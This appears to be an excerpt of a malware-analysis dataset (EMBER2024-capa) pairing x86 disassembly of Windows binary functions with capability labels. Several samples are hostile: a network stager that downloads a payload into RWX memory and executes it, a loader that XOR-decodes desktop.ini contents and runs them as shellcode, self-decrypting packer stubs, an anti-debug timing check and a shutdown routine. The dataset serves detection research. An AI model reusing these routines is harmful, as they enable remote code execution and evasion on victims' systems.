joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4013e5
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push edi
xor edi, edi
mov dword [ebp - 0x4c], 0x30
mov eax, 3
mov dword [ebp - 0x48], eax
mov eax, dword [ebp + 8]
mov dword [0x404130], eax
xor edi, edi
mov dword [ebp - 0x24], str.piling
mov dword [ebp - 0x20], edi
mov ecx, edi
mov dword [ebp - 0x44], 0x401306
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x34], ecx
lea esi, [ebp - 0x4c]
push esi
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x28], edi
call dword [sym.imp.USER32.dll_RegisterClassExA]
push edi
push dword [ebp - 0x38]
push edi
push edi
push 0x190
push 0x258
push 0xffffee08
push 0xffffee6c
push 0
push str.nonmetal
push str.piling
push edi
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [0x404138], eax
push eax
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
push edi
push edi
push edi
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x4014af
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
push edi
push edi
push edi
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jne 0x40148a
pop edi
mov esp, ebp
pop ebp
ret 0x10

Function at 0x401676
Capabilities:
Encode data using xor

Disassembly:
mov eax, 4
mov ecx, 0xf
mov esi, 0x4017a2
mov edx, esi
lea edi, [0x40407d]
call fcn.00401e65
inc eax
push edi
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call fcn.0040150b
mov ecx, 0x40
mov edx, 0x4016d7
push 0x40413c
push ecx
push 0x733
push edx
call eax
mov edi, 0x4016d7
mov ecx, 0x732
mov eax, 0x14
mov esi, 0x40120b
mov ecx, 0x732
call fcn.00401e65
test eax, eax
cmp al, 0x17
sbb edx, dword [ebp + 0x30bff3cc]
lodsb al, byte [esi]
imul esp, dword [eax + 0x32], 0xa15bb746
xor eax, 0xb60bb155
jp 0x4016d6
sar byte [edi + edx], 0x1b
xchg ebp, eax
int3
mov ch, 0xe9
cmp al, 0xb4
sal ah, 0x9e
inc ecx
sub esp, edx
push esi
stosb byte es:[edi], al
xor byte [ebx - 0x68], al
adc dword [edi - 0x401fe5e9], esp
int 0x4e
rcl byte [edi + 0x2a5faaae], 0xb7
pushal
mov ebp, 0xc944324
mov al, byte [0xcd954c71]
ret
Function at 0x401ec0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x403228
push 0x4020c0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xffffff98
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
push 2
call dword [sym.imp.MSVCRT.dll___set_app_type]
add esp, 4
mov dword [0x404164], 0xffffffff
mov dword [0x404168], 0xffffffff
call dword [sym.imp.MSVCRT.dll___p__fmode]
mov ecx, dword [0x404160]
mov dword [eax], ecx
call dword [sym.imp.MSVCRT.dll___p__commode]
mov edx, dword [0x40415c]
mov dword [eax], edx
mov eax, dword [sym.imp.MSVCRT.dll__adjust_fdiv]
mov ecx, dword [eax]
mov dword [0x40416c], ecx
call fcn.004020b0
mov eax, dword [0x40411c]
test eax, eax
jne 0x401f51
push 0x4020a0
call dword [sym.imp.MSVCRT.dll___setusermatherr]
add esp, 4
call fcn.00402080
push 0x40400c
push 0x404008
call sub.MSVCRT.dll__initterm
add esp, 8
mov edx, dword [0x404158]
mov dword [ebp - 0x6c], edx
lea eax, [ebp - 0x6c]
push eax
mov ecx, dword [0x404154]
push ecx
lea edx, [ebp - 0x64]
push edx
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp - 0x60]
push ecx
call dword [sym.imp.MSVCRT.dll___getmainargs]
add esp, 0x14
push 0x404004
push section..data
call sub.MSVCRT.dll__initterm
add esp, 8
call dword [sym.imp.MSVCRT.dll___p__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x74], esi
cmp byte [esi], 0x22
jne 0x40205f
inc esi
mov dword [ebp - 0x74], esi
mov al, byte [esi]
test al, al
je 0x401fc5
cmp al, 0x22
jne 0x401fb7
cmp byte [esi], 0x22
jne 0x401fce
inc esi
mov dword [ebp - 0x74], esi
mov al, byte [esi]
test al, al
je 0x401fde
cmp al, 0x20
ja 0x401fde
inc esi
mov dword [ebp - 0x74], esi
jmp 0x401fce
mov dword [ebp - 0x30], 0
lea edx, [ebp - 0x5c]
push edx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
test byte [ebp - 0x30], 1
je 0x401fff
mov eax, dword [ebp - 0x2c]
and eax, 0xffff
jmp 0x402004
mov eax, 0xa
push eax
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call main
mov dword [ebp - 0x68], eax
push eax
call dword [sym.imp.MSVCRT.dll_exit]
jmp 0x402044
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp byte [esi], 0x20
jbe 0x401fce
inc esi
mov dword [ebp - 0x74], esi
jmp 0x40205f

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
mov ecx, 0x1d6c760b
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x433024
nop
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x285d700b
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x433084
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10

Function at 0x43b657
Capabilities:
Encode data using xor

Disassembly:
mov edi, 0x43b3c1
add edx, 0xdd2bf5c7
mov esi, 0xb154f735
call fcn.0043b68b
dec esi
sub edx, esi
inc edx
xor dword [ecx], edi
sub esi, 0xc30b73f5
inc ecx
push esi
pop edx
add esi, edx
and edx, esi
cmp ecx, ebx
jne fcn.0043b657
inc esi
or esi, esi
ret

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
nop
nop
nop
pop eax
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
nop
nop
nop
nop
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x42e030
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
jne 0x42e01e
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp loc.00401219
Function at 0x407f80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6000]
push edi
or ebp, 0xffffffff
jmp 0x407fa2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x407fa9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x407f98
mov eax, 1
add ebx, ebx
jne 0x407fbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x407fb0
jne 0x407fcc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407fb0
xor ecx, ecx
sub eax, 3
jb 0x407fe0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x408052
mov ebp, eax
add ebx, ebx
jne 0x407feb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x407ff8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40801c
inc ecx
add ebx, ebx
jne 0x408008
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x407ffd
jne 0x408019
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407ffd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40803c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40802d
jmp 0x407f9e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40803c
add edi, ecx
jmp 0x407f9e
pop esi
mov edi, esi
mov ecx, 0x8f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40805a
cmp byte [edi], 0
jne 0x40805a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40805f
lea edi, [esi + 0x5000]
mov eax, dword [edi]
or eax, eax
je 0x4080d7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x8d64]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8ddc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40808c
mov ecx, edi
jns 0x4080bb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x8de4]
or eax, eax
je 0x4080d1
mov dword [ebx], eax
add ebx, 4
jmp 0x4080a9
call dword [esi + 0x8de0]
mov ebp, dword [esi + 0x8de8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40810b
sub esp, 0xffffff80
jmp 0x402130

Function at 0x430006
Capabilities:
Encode data using xor

Disassembly:
call 0x43000c
pop eax
nop
nop
nop
nop
nop
add eax, 0x403cf8
nop
sub eax, 0x403c9e
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43001e
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp loc.00401219
Function at 0x401541
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x14], 0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
jmp 0x4015ac
mov eax, dword [ebp + 0x10]
sub eax, dword [ebp - 0xc]
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._recv_16
sub esp, 0x10
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
add dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x14]
add dword [ebp - 0xc], eax
cmp dword [ebp - 0x14], 0xffffffff
jne 0x4015ac
mov dword [esp + 4], str.Could_not_receive_data
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._Kick
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0x10]
jl 0x40155d
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x4015b9
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 2
call sym._socket_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x4015fa
mov dword [esp + 4], str.Cannot_initialize_socket
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._Kick
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._gethostbyname_4
sub esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x401624
mov dword [esp + 4], str.cannot_resolve_target
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._Kick
mov eax, dword [ebp - 0x10]
movzx eax, word [eax + 0xa]
movsx edx, ax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
lea eax, [ebp - 0x20]
add eax, 4
mov dword [esp], eax
call sym._memcpy
mov word [ebp - 0x20], 2
mov eax, dword [ebp + 0xc]
movzx eax, ax
mov dword [esp], eax
call sym._htons_4
sub esp, 4
mov word [ebp - 0x1e], ax
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x20]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._connect_12
sub esp, 0xc
test eax, eax
je 0x40169b
mov dword [esp + 4], str.Could_not_connect
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._Kick
mov eax, dword [ebp - 0xc]
leave
ret
Function at 0x401766
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
call sym._GetCurrentThreadId_0
mov dword [esp + 0xc], 0x2a
mov dword [esp + 8], 0x17
mov dword [esp + 4], 0x402
mov dword [esp], eax
call sym._PostThreadMessageA_16
sub esp, 0x10
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0xffffffff
lea eax, [ebp - 0x28]
mov dword [esp], eax
call sym._PeekMessageA_20
sub esp, 0x14
test eax, eax
jne 0x4017cd
mov eax, 0xffffffff
jmp 0x401825
mov eax, dword [ebp - 0x24]
cmp eax, 0x402
jne 0x4017e7
mov eax, dword [ebp - 0x20]
cmp eax, 0x17
jne 0x4017e7
mov eax, dword [ebp - 0x1c]
cmp eax, 0x2a
je 0x4017ee
mov eax, 0xffffffff
jmp 0x401825
call sym._GetTickCount_0
mov dword [ebp - 0xc], eax
mov dword [esp], 0x28a
call sym._Sleep_4
sub esp, 4
call sym._GetTickCount_0
sub eax, dword [ebp - 0xc]
sub eax, 0x258
cmp eax, 0x12b
jbe 0x401820
mov eax, 0xffffffff
jmp 0x401825
mov eax, 0
leave
ret

Function at 0x401827
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
call sym._winsock_init
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._wsconnect
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 4
lea edx, [ebp - 0x18]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._recv_16
sub esp, 0x10
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 4
jne 0x40187c
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x40188f
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], str.bad_length_value_n
mov dword [esp], eax
call sym._Kick
call sym._genlol
mov eax, dword [ebp - 0x18]
add eax, 5
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x1000
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._VirtualAlloc_16
sub esp, 0x10
mov dword [ebp - 0x10], eax
call sym._genlol
cmp dword [ebp - 0x10], 0
jne 0x4018de
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], str.bad_buffer_n
mov dword [esp], eax
call sym._Kick
mov eax, dword [ebp - 0x10]
mov byte [eax], 0xbf
call sym._genlol
mov eax, dword [ebp - 0x10]
lea edx, [eax + 1]
mov eax, dword [ebp - 0x1c]
mov dword [edx], eax
call sym._genlol
mov eax, dword [ebp - 0x18]
mov ecx, eax
mov eax, dword [ebp - 0x10]
lea edx, [eax + 5]
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._recv_all
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
call eax
nop
leave
ret
Function at 0x401928
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
call sym._winsock_init
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._wsconnect
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 4
lea edx, [ebp - 0x18]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._recv_16
sub esp, 0x10
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 4
jne 0x40197d
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x401990
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], str.bad_length_value_n
mov dword [esp], eax
call sym._Kick
call sym._genlol
mov eax, dword [ebp - 0x18]
add eax, 0xa
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x1000
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._VirtualAlloc_16
sub esp, 0x10
mov dword [ebp - 0x10], eax
call sym._genlol
cmp dword [ebp - 0x10], 0
jne 0x4019df
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], str.bad_buffer_n
mov dword [esp], eax
call sym._Kick
mov eax, dword [ebp - 0x10]
mov byte [eax], 0x48
mov eax, dword [ebp - 0x10]
add eax, 1
mov byte [eax], 0xbf
call sym._genlol
mov eax, dword [ebp - 0x10]
lea ecx, [eax + 2]
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x18]
mov dword [ecx], eax
mov dword [ecx + 4], edx
call sym._genlol
mov eax, dword [ebp - 0x18]
mov ecx, eax
mov eax, dword [ebp - 0x10]
lea edx, [eax + 0xa]
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._recv_all
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
call eax
nop
leave
ret
Function at 0x402130
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x408044
call sym._EnterCriticalSection_4
mov ebx, dword [0x40803c]
sub esp, 4
test ebx, ebx
je 0x40217b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x402174
test esi, esi
je 0x402174
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402150
mov dword [esp], 0x408044
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x402360
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x4023b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x402488
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x4023ee
cmp eax, 4
jne 0x402410
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x4023fe
cmp edx, 4
je 0x4023fe
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00402360
Function at 0x10016d7
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x100a2cc]
mov dword [ebp - 4], eax
mov eax, dword [0x100a1fc]
push ebx
xor ebx, ebx
cmp eax, 2
mov byte [ebp - 0xc], bl
mov byte [ebp - 0xb], bl
mov byte [ebp - 0xa], bl
mov byte [ebp - 9], bl
mov byte [ebp - 8], bl
mov byte [ebp - 7], 5
mov dword [ebp - 0x10], ebx
jne 0x1001802
lea eax, [ebp - 0x10]
push eax
call fcn.01001632
test eax, eax
jne 0x10017f0
lea eax, [ebp - 0x14]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1001802
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
lea eax, [ebp - 0x18]
push eax
push ebx
push ebx
push 2
push dword [ebp - 0x14]
call edi
test eax, eax
jne 0x10017e4
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x10017e4
push esi
push dword [ebp - 0x18]
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
cmp esi, ebx
je 0x10017e3
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x18]
push esi
push 2
push dword [ebp - 0x14]
call edi
test eax, eax
je 0x10017dc
lea eax, [ebp - 0x1c]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x10017dc
cmp dword [esi], ebx
jbe 0x10017d3
lea edi, [esi + 4]
push dword [ebp - 0x1c]
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
jne 0x10017c8
inc ebx
add edi, 8
cmp ebx, dword [esi]
jb 0x10017af
jmp 0x10017d3
xor eax, eax
inc eax
mov dword [0x100a1fc], eax
mov dword [ebp - 0x10], eax
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop esi
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
jmp 0x10017ff
cmp dword [ebp - 0x10], ebx
je 0x10017ff
mov dword [0x100a1fc], 1
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 4]
pop ebx
call fcn.01005e37
leave
ret

Function at 0x1001921
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
lea eax, [ebp - 4]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
xor esi, esi
test eax, eax
jne 0x100194d
push esi
push 0x10
push esi
push esi
push 0x4f5
jmp 0x10019a2
lea eax, [ebp - 0x10]
push eax
push 0x1001274
push esi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
push esi
push esi
push esi
lea eax, [ebp - 0x14]
push eax
push esi
push dword [ebp - 4]
mov dword [ebp - 0x14], 1
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
push esi
jne 0x100198c
push 0x10
push esi
push esi
push 0x4f6
jmp 0x10019a2
push 2
call dword [sym.imp.USER32.dll_ExitWindowsEx]
test eax, eax
jne 0x10019ac
push esi
push 0x10
push esi
push esi
push 0x4f7
push esi
call fcn.01003a62
xor eax, eax
jmp 0x10019af
xor eax, eax
inc eax
pop esi
leave
ret
Function at 0x10019b2
Capabilities:
Delete registry value
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp byte [0x100a2e0], 0
je 0x10019f5
lea eax, [ebp - 4]
push eax
push 0x20006
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRunOnce
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10019f5
push 0x100a2e0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
leave
ret